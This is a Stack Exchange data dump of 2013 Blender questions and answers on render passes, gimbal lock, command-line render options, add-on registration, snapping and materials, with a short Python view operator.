  <row Id="523" PostTypeId="2" ParentId="521" CreationDate="2013-05-31T08:31:10.287" Score="15" Body="&lt;p&gt;The value outputted by the z pass is in absolute units, going from zero to however far the objects in the scene are. Thus it goes over the color ramp's range of values, and gives out the value that maps to full 1 in the ramp. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can fix this by adding a normalize node before the color ramp, or by multiplying it by some small value with a math node. The normalize scales the range from the smallest value to the largest to map into the 0-1 range, so the results of all objects change if you animate the furthest or closest object. A math node does not have that limitation and thus works better with animated scenes.&lt;/p&gt;&#xA;" OwnerUserId="263" LastEditorUserId="183" LastEditDate="2013-05-31T09:11:31.177" LastActivityDate="2013-05-31T09:11:31.177" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="524" PostTypeId="2" ParentId="515" CreationDate="2013-05-31T08:38:12.200" Score="28" Body="&lt;p&gt;Add some Texture Coordinates! Generated works out of the box, and UV is even better. All pretty standard stuff. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zDKpu.png&quot; alt=&quot;Cycles Material with an Image texture and Texture Coordinate attached&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="240" LastActivityDate="2013-05-31T08:38:12.200" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="526" PostTypeId="2" ParentId="469" CreationDate="2013-05-31T09:15:06.013" Score="6" Body="&lt;p&gt;First, I recommend looking at the Guerilla CG video that explains &lt;a href=&quot;https://www.youtube.com/watch?v=zc8b2Jo7mno&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Rotation Problem&lt;/a&gt; as it relates to 3d animation. This is important because it explains why Euler and Quaternion rotations are different. &lt;em&gt;Unfortunately the only available copy has very poor A/V sync.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cut to the chase in Part 2: &lt;a href=&quot;https://www.youtube.com/watch?v=zc8b2Jo7mno&quot; rel=&quot;nofollow noreferrer&quot;&gt;Euler (gimbal lock) Explained&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;4:18—All together there are 6 parenting combinations to choose from. In each case gimbal lock occurs on the parent when the middle axis is rotated too far.&#xA;  &lt;a href=&quot;https://i.stack.imgur.com/xQ7Kd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xQ7Kd.png&quot; alt=&quot;6 combinations of axes parenting, all in a state of gimbal lock: XYZ, ZXY, YXZ, XZY, ZYX, and YZX&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="240" LastEditorUserId="240" LastEditDate="2020-02-06T18:57:45.393" LastActivityDate="2020-02-06T18:57:45.393" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="527" PostTypeId="1" AcceptedAnswerId="529" CreationDate="2013-05-31T10:31:37.920" Score="8" ViewCount="2883" Body="&lt;p&gt;So as a follow up to the &lt;a href=&quot;https://blender.stackexchange.com/questions/469/could-someone-re-explain-gimbal-lock-to-me&quot;&gt;gimbal lock&lt;/a&gt; question, I've learned that for a camera it's best to use &lt;code&gt;YXZ&lt;/code&gt; euler model (as explained in this &lt;a href=&quot;http://www.youtube.com/watch?v=zc8b2Jo7mno&quot; rel=&quot;nofollow noreferrer&quot;&gt;video&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the problem. When I add a camera in blender, it for some reason points downward, so when you change the euler to &lt;code&gt;YXZ&lt;/code&gt;, rotate the camera &lt;code&gt;90°&lt;/code&gt; along &lt;code&gt;X axis&lt;/code&gt;(gimbal), you immediately hit the gimbal lock. That wouldn't be a problem, if you could &lt;code&gt;apply rotation&lt;/code&gt; to the camera - which seems to not be possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/187gM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="145" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-01-12T00:34:32.507" Title="Apply rotation to camera?" Tags="&lt;transforms&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="528" PostTypeId="2" ParentId="521" CreationDate="2013-05-31T10:32:44.477" Score="18" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/14V2T.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;and another, more tunable.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/X90Bi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the Z-buffer isn't really an image but a grid of distance values mapped from camera &lt;code&gt;clipping start&lt;/code&gt;, and &lt;code&gt;end&lt;/code&gt; (these settings are found in the Camera Object properties tab).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the &lt;code&gt;limits&lt;/code&gt; tickbox to visualize the clipping start and clipping end range, (also called near and far &lt;em&gt;clipping planes&lt;/em&gt;). Generally keep all your geometry in that range and you will be using the Z-Buffer like a boss.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: instead of the &lt;code&gt;Map Range node&lt;/code&gt;, you can use the &lt;code&gt;Normalize node&lt;/code&gt; and you won't have to set the range values, it will find the lowest/highest values in the Z-buffer and map them to 0...1 range&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2Q1zD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-06-03T13:50:47.877" LastActivityDate="2013-06-03T13:50:47.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="529" PostTypeId="2" ParentId="527" CreationDate="2013-05-31T11:15:18.447" Score="9" Body="&lt;p&gt;The suggested &lt;code&gt;YXZ&lt;/code&gt; order from the video does not work in Blender because it uses the &lt;code&gt;Z&lt;/code&gt; up axis convention, whereas Maya uses &lt;code&gt;Y&lt;/code&gt; as up axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to get a setup like the video, where the gimbal lock occurs when looking up or down, you need to parent the camera to an empty and rotate the empty &lt;code&gt;90°&lt;/code&gt; on the &lt;code&gt;X&lt;/code&gt; axis, then set the rotation order on the camera to &lt;code&gt;YXZ&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only changing the rotation order on the camera can't work, the gimbal lock always happens at &lt;code&gt;90°&lt;/code&gt; on some axis and the camera is at &lt;code&gt;(0°, 0°, 0°)&lt;/code&gt; when looking down, so this extra parenting is needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, I think the standard &lt;code&gt;XYZ&lt;/code&gt; rotation order in Blender may actually be better for cameras. It will give you gimbal lock when tilting the camera &lt;code&gt;90°&lt;/code&gt; sideways, which is perhaps even less common than looking down or up.&lt;/p&gt;&#xA;" OwnerUserId="242" LastEditorUserId="242" LastEditDate="2013-05-31T12:45:55.223" LastActivityDate="2013-05-31T12:45:55.223" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="530" PostTypeId="1" AcceptedAnswerId="532" CreationDate="2013-05-31T11:19:55.910" Score="7" ViewCount="2253" Body="&lt;p&gt;I have noticed that Blender Internal Render Engine is the default engine that is set when launching Blender. Users can change this behavior by setting a different engine and saving the user preferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, is it possible to choose the engine to be used by blender when launching blender?&lt;/p&gt;&#xA;" OwnerUserId="228" LastEditorUserId="25" LastEditDate="2013-06-03T21:56:11.617" LastActivityDate="2016-06-01T13:05:03.380" Title="How do I set a specific render engine while launching blender?" Tags="&lt;rendering&gt;&lt;customization&gt;&lt;command-line&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="531" PostTypeId="2" ParentId="530" CreationDate="2013-05-31T11:19:55.910" Score="5" Body="&lt;p&gt;Yes, it is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are lots of command-line flags provided by Blender and the flags that are related to rendering engine type are &lt;em&gt;-E engine&lt;/em&gt; or &lt;em&gt;--engine engine&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to launch Blender with the CYCLES rendering engine set, the following command can be used.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender --engine CYCLES&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can get a list of available engines by using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender --engine help&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender -E help&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;found bundled python: /home/satishg/bin/blender-2.65a-linux-glibc27-x86_64/2.65/python&#xA;Blender Engine Listing:&#xA;    BLENDER_RENDER&#xA;    BLENDER_GAME&#xA;    CYCLES&#xA;&#xA;[1]    Done                          ~/bin/blender-2.65a-linux-glibc27-x86_64/blender --engine help&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="228" LastActivityDate="2013-05-31T11:19:55.910" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="532" PostTypeId="2" ParentId="530" CreationDate="2013-05-31T12:24:19.473" Score="5" Body="&lt;p&gt;Looks like you figured this out, just note that you can enable addons on startup too:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender --addons my_render_engine --engine MY_RENDER_ENGINE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to enable multiple addons...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender --addons my_render_engine,some_other_addon --engine MY_RENDER_ENGINE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where the add-on list is comma separated list of module names (no spaces), the engine argument works as normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://www.blender.org/manual/advanced/command_line/arguments.html#render-options&quot; rel=&quot;nofollow&quot;&gt;the manual&lt;/a&gt; for documentation on these args.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2016-06-01T13:05:03.380" LastActivityDate="2016-06-01T13:05:03.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="533" PostTypeId="2" ParentId="527" CreationDate="2013-05-31T13:07:49.810" Score="6" Body="&lt;p&gt;Since you are asking this question you may want to consider setting up a camera rig.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some example videos online &lt;a href=&quot;http://www.blender3darchitect.com/2011/04/free-camera-rig-for-architectural-animation/&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt;, &lt;a href=&quot;https://www.youtube.com/watch?v=hlKKcUk6ydQ&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt;, of different camera rigs however I'm not sure which are good to use with the latest blender release. (Nice addon project for beginner/intermediate developer).&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-05-31T17:16:01.770" LastActivityDate="2013-05-31T17:16:01.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="534" PostTypeId="1" AcceptedAnswerId="535" CreationDate="2013-05-31T13:54:01.350" Score="12" ViewCount="307" Body="&lt;p&gt;I am a keen user of Bassam's typewriter.py addon. It's not part of the official distribution, so I thought I could make my .blend projects more portable by including it as a text block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I always need to run the block even though I checked the register checkbox.&#xA;Are there any more requirements to having the .py extension that I need to do before the script will run on load?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blendernation.com/2013/01/25/typewriter-blender-addon/&quot;&gt;http://www.blendernation.com/2013/01/25/typewriter-blender-addon/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="273" LastEditorUserId="12" LastEditDate="2013-06-28T21:53:45.903" LastActivityDate="2013-06-28T21:53:45.903" Title="Can unofficial Blender addons be included in a project as a text block and automatically register on load?" Tags="&lt;scripting&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="535" PostTypeId="2" ParentId="534" CreationDate="2013-05-31T14:14:05.503" Score="15" Body="&lt;p&gt;Yes, if the addon is a single file (rather then a python package containing an &lt;code&gt;__init__.py&lt;/code&gt; file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the end of the script, remove these two lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And add this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In Python &lt;code&gt;__name__&lt;/code&gt; refers to the module name, which in this case is the name of the textblock (without &lt;code&gt;.py&lt;/code&gt;, however if you run the script directly &lt;code&gt;__name__&lt;/code&gt; will be &lt;code&gt;&quot;__main__&quot;&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Removing this check before calling the register() function will run no matter how its executed.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note, if you do this - The script won't be listed in the preferences as an addon, this wont cause problems, but a user has no way to disable besides restarting blender.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="242" LastEditorUserId="55" LastEditDate="2013-06-28T21:50:24.607" LastActivityDate="2013-06-28T21:50:24.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="537" PostTypeId="5" CreationDate="2013-05-31T14:25:38.740" Score="0" Body="&lt;p&gt;Addon documentation on the &lt;a href=&quot;https://www.blender.org/manual/extensions/python/add_ons.html&quot; rel=&quot;nofollow&quot;&gt;blender manual&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The official Blender &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts&quot; rel=&quot;nofollow&quot;&gt;add-on list&lt;/a&gt;, and &lt;a href=&quot;http://blenderaddonlist.blogspot.com/&quot; rel=&quot;nofollow&quot;&gt;Another list.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-09-03T22:01:08.330" LastActivityDate="2015-09-03T22:01:08.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="538" PostTypeId="4" CreationDate="2013-05-31T14:25:38.740" Score="0" Body="An add-on is a python script or plugin created to expand Blender's functionality. There are many add-ons in the official builds of Blender, and with every new version comes new add-ons." OwnerUserId="20" LastEditorUserId="2217" LastEditDate="2015-09-03T22:01:08.330" LastActivityDate="2015-09-03T22:01:08.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="539" PostTypeId="1" AcceptedAnswerId="541" CreationDate="2013-05-31T21:12:31.500" Score="47" ViewCount="121628" Body="&lt;p&gt;How do you snap an object on top of the surface of another object? I tried using the shrinkwrap modifier but that produced weird results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I have a cone, and a cube - I want to move the cone around so that it snaps perfectly along the faces of the cube&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IVs4T.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="184" LastEditorUserId="12" LastEditDate="2013-06-10T15:51:52.880" LastActivityDate="2019-12-01T12:08:30.277" Title="Snap object on top of surface of other object" Tags="&lt;workflow&gt;" AnswerCount="6" CommentCount="0" FavoriteCount="28" ContentLicense="CC BY-SA 3.0" />
  <row Id="540" PostTypeId="1" AcceptedAnswerId="543" CreationDate="2013-05-31T21:17:04.713" Score="4" ViewCount="6857" Body="&lt;p&gt;I already tried &lt;a href=&quot;http://dm.tzi.de/bloop/&quot; rel=&quot;nofollow&quot;&gt;Bloop&lt;/a&gt; which would end in rewrite lots of C++ and Phyton code. The issues with bloop are described &lt;a href=&quot;http://www.just-another-right-wing-rant.blogspot.de/2012/07/im-so-annoyed-im-resurrecting-this-blog.html&quot; rel=&quot;nofollow&quot;&gt;here im-so-annoyed-im-resurrecting-this-blog&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For other things like &lt;a href=&quot;http://labs.manctl.com/rgbdemo/index.php/Main/Download&quot; rel=&quot;nofollow&quot;&gt;RGBDemo&lt;/a&gt; the dependencies to OpenNI are no longer available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It wouldn't be necessary that the import is done in real-time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any working module/add-on, external converter?&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="12" LastEditDate="2013-11-20T22:10:44.607" LastActivityDate="2013-11-20T22:10:44.607" Title="Is there a working extension to import Kinect skeleton data as animation into Blender?" Tags="&lt;animation&gt;&lt;add-on&gt;&lt;conversion&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="541" PostTypeId="2" ParentId="539" CreationDate="2013-05-31T21:17:39.693" Score="45" Body="&lt;p&gt;Use Blender's snapping feature with &lt;em&gt;Snap Element&lt;/em&gt; set to &lt;strong&gt;Face&lt;/strong&gt;. The configuration group is right on the 3D View's header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you activate &lt;em&gt;Snap during Transform&lt;/em&gt; (&lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;Tab&lt;/kbd&gt; or the magnet button), you don't have to hold &lt;kbd&gt;Ctrl&lt;/kbd&gt; while grabbing the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also &lt;em&gt;Align rotation with Snapping Target&lt;/em&gt; (2nd button from the right) so the snapped object aligns its orientation with the face's normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cZGKx.png&quot; alt=&quot;...&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible to snap the lower (-Z) part of an object to another's surface, by placing the object above its intended target. It seems snapping uses the nearest point of grabbed object, and its relative position to target before transformation. I get these inconsistent snapping positions if the object's moved from above the target, and need manual adjustment to keep it outside the surface:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CxC27.png&quot; alt=&quot;...&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2013-06-01T02:07:21.240" LastActivityDate="2013-06-01T02:07:21.240" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="543" PostTypeId="2" ParentId="540" CreationDate="2013-05-31T22:13:11.720" Score="8" Body="&lt;p&gt;There should be a script for importing bvh files under&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File -&gt; import -&gt; Motion Capture (.bvh)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;, at least in current versions of blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A program to save kinect skeleton data as a .bvh file can be found e.g. on  the following site:&#xA;&lt;a href=&quot;http://tech.integrate.biz/kinect_mocap.htm&quot;&gt;http://tech.integrate.biz/kinect_mocap.htm&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="129" LastEditorUserId="129" LastEditDate="2013-05-31T22:31:32.123" LastActivityDate="2013-05-31T22:31:32.123" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="544" PostTypeId="2" ParentId="105" CreationDate="2013-06-01T00:34:03.723" Score="22" Body="&lt;p&gt;Yes, it is possible.  As Mike Pan wrote, making a group itself is not useful to transform several objects as one object, but if you make a group in a separate scene (or a separate blend file) and add an instance of the group to the current scene, you can transform these objects as one object.  That is, you do not transform a &lt;em&gt;group&lt;/em&gt; as one object, but you transform a &lt;em&gt;group instance&lt;/em&gt; as one object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it may be more convenient to use parenting than a group instance if the sole purpose is to transform several objects as one.  For example, add an empty and set it as the parent of the objects you want to treat as one.  Then transforming the parent will transform its children together.  The difference from instantiating a group is that it is easy also to edit individual objects if you want to, because the individual objects are also in the same scene.&lt;/p&gt;&#xA;" OwnerUserId="220" LastActivityDate="2013-06-01T00:34:03.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="545" PostTypeId="2" ParentId="539" CreationDate="2013-06-01T01:03:53.410" Score="8" Body="&lt;p&gt;Adhi's answer says it all, but I really recommend you to check out step 18 and 19 of this tutorial: &lt;a href=&quot;http://cg.tutsplus.com/tutorials/blender/modeling-a-modern-interior-scene-in-blender/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Modeling A Modern Interior Scene In Blender&lt;/a&gt;. It explains how Blender aligns the orientation of a snapping object.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Once you’ve turned the snapping on, set the snap element to ‘Face’ and&#xA;  the snap target to ‘Active’. In the 3d viewport header, next to those&#xA;  options you’ll see two icons, make sure the first one, ‘Align rotation&#xA;  with the snapping target’ is selected, and the second one, ‘Project&#xA;  individual elements on the surface of another objects’ is deselected.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You just told Blender to snap the active object (using the origin as&#xA;  reference), to the face of another object and to match it’s rotation.&#xA;  The way the rotation matching works is that Blender aligns the objects&#xA;  local Z Axis (img. 2) with the normal of the face you are snapping it&#xA;  to (img. 1). This is very important for you to understand so make a&#xA;  couple of tests until you feel comfortable with it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="191" LastEditorUserId="69222" LastEditDate="2019-12-01T12:08:30.277" LastActivityDate="2019-12-01T12:08:30.277" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="547" PostTypeId="1" AcceptedAnswerId="550" CreationDate="2013-06-01T09:42:06.863" Score="10" ViewCount="415" Body="&lt;p&gt;This is a follow-up question to Stephen's &lt;a href=&quot;https://blender.stackexchange.com/questions/516/add-different-materials-to-different-parts-of-a-mesh&quot;&gt;Add different materials to different parts of a mesh?&lt;/a&gt; As explained there, it is possible to assign different surface materials to different faces of a mesh.  However, the same method does not seem to work when the materials involved are not surface materials.&lt;br&gt;&#xA;For example, suppose a cube mesh has two materials and both are wire materials.  If I assign the second material to everything (enter the &lt;em&gt;Edit Mode&lt;/em&gt;, select all vertices [&lt;kbd&gt;A&lt;/kbd&gt;], select the second material in the &lt;em&gt;Properties panel &gt; Materials tab&lt;/em&gt;, and click the &lt;em&gt;Assign&lt;/em&gt; button), the cube is still rendered with the first material.  I have the same problem with two halo materials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you assign different wire materials to different edges of a mesh? How do you assign different halo materials to different vertices of a mesh?&lt;/p&gt;&#xA;" OwnerUserId="220" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2016-06-29T18:46:39.837" Title="Assigning different wire or halo materials to different parts of a mesh" Tags="&lt;mesh&gt;&lt;materials&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="548" PostTypeId="2" ParentId="313" CreationDate="2013-06-01T11:08:22.273" Score="12" Body="&lt;p&gt;As iKlsR wrote, you can use command-line options to render scenes in batch.  If you have saved all the necessary settings such as the start and end frames, the output format, and the output file names in your blend file and all you want is just render the animations in specific scenes, then you do not have to specify many command-line options and you can do it with just&lt;/p&gt;&#xA;&#xA;&lt;pre class=&quot;lang-none prettyprint-override&quot;&gt;&lt;code&gt;blender -b file.blend -S Scene1 -a -S Scene2 -a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This means:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;-b&lt;/code&gt;: Run Blender in the batch mode (do not open a window).&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;file.blend&lt;/code&gt;: Open a file called file.blend.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;-S Scene1&lt;/code&gt;: Switch to Scene1.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;-a&lt;/code&gt;: Execute the Render &amp;gt; Render Animation command.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;-S Scene2&lt;/code&gt;: Switch to Scene2.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;-a&lt;/code&gt;: Execute the Render &amp;gt; Render Animation command.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Make sure you set the output directories and the file names of each scene correctly in the blend file so that the render result from one scene will not be overwritten by the render result from another scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that a file name just means “open this file.”  You can also render scenes in different files in one batch by using a command line like:&lt;/p&gt;&#xA;&#xA;&lt;pre class=&quot;lang-none prettyprint-override&quot;&gt;&lt;code&gt;blender -b A.blend -S A1 -a -S A2 -a B.blend -S B1 -a -S B2 -a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This renders the animations in four scenes in total: scenes A1 and A2 in file A.blend and scenes B1 and B2 in file B.blend.&lt;/p&gt;&#xA;" OwnerUserId="220" LastActivityDate="2013-06-01T11:08:22.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="549" PostTypeId="2" ParentId="547" CreationDate="2013-06-01T11:47:26.647" Score="5" Body="&lt;p&gt;It's not possible, you can only use a single wire or halo material and this will be applied to the entire mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Part of the reason is that materials are set per face, and wires and halos are for edges and vertices so there is no exact way to map them. But it's mostly just something that was never implemented.&lt;/p&gt;&#xA;" OwnerUserId="242" LastActivityDate="2013-06-01T11:47:26.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="550" PostTypeId="2" ParentId="547" CreationDate="2013-06-01T12:42:10.837" Score="5" Body="&lt;p&gt;As brecht explains, this is not possible, however, if you are working with hard surface models, say something as simple as cube for example, one quick workaround you could use is to separate it into different pieces &lt;em&gt;(retaining the original positions of course)&lt;/em&gt; and apply the materials separately, then after doing this, you could parent all the mesh to an empty to move and scale it easier etc. Select the part(s) you want to have a unique material, hit &lt;kbd&gt;P&lt;/kbd&gt; and choose &lt;em&gt;Selection&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a 'cube' with a normal surface, a halo and wire material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WN1zj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-06-02T17:01:28.427" LastActivityDate="2013-06-02T17:01:28.427" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="551" PostTypeId="2" ParentId="386" CreationDate="2013-06-01T13:15:32.923" Score="15" Body="&lt;p&gt;You can use &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;F&lt;/kbd&gt; to centre the view to your mouse pointer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exact behaviour you requested can be achieved with a little Python. Run the following in the text editor and add a &lt;code&gt;view3d.view_center_origin&lt;/code&gt; key-binding of your choosing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class VIEW3D_OT_View_Center_Origin(bpy.types.Operator):&#xA;    bl_idname = &quot;view3d.view_center_origin&quot;&#xA;    bl_label = &quot;Center view to origin&quot;&#xA;&#xA;    def invoke(self, context, event):&#xA;        v3d = context.space_data&#xA;        if v3d.type == &quot;VIEW_3D&quot;:&#xA;            rv3d = v3d.region_3d&#xA;            current_cloc = v3d.cursor_location.xyz&#xA;            v3d.cursor_location = (0, 0, 0)&#xA;            bpy.ops.view3d.view_center_cursor()&#xA;            v3d.cursor_location = current_cloc&#xA;        return {'FINISHED'}&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    bpy.utils.register_class(VIEW3D_OT_View_Center_Origin)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-06-01T13:15:32.923" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
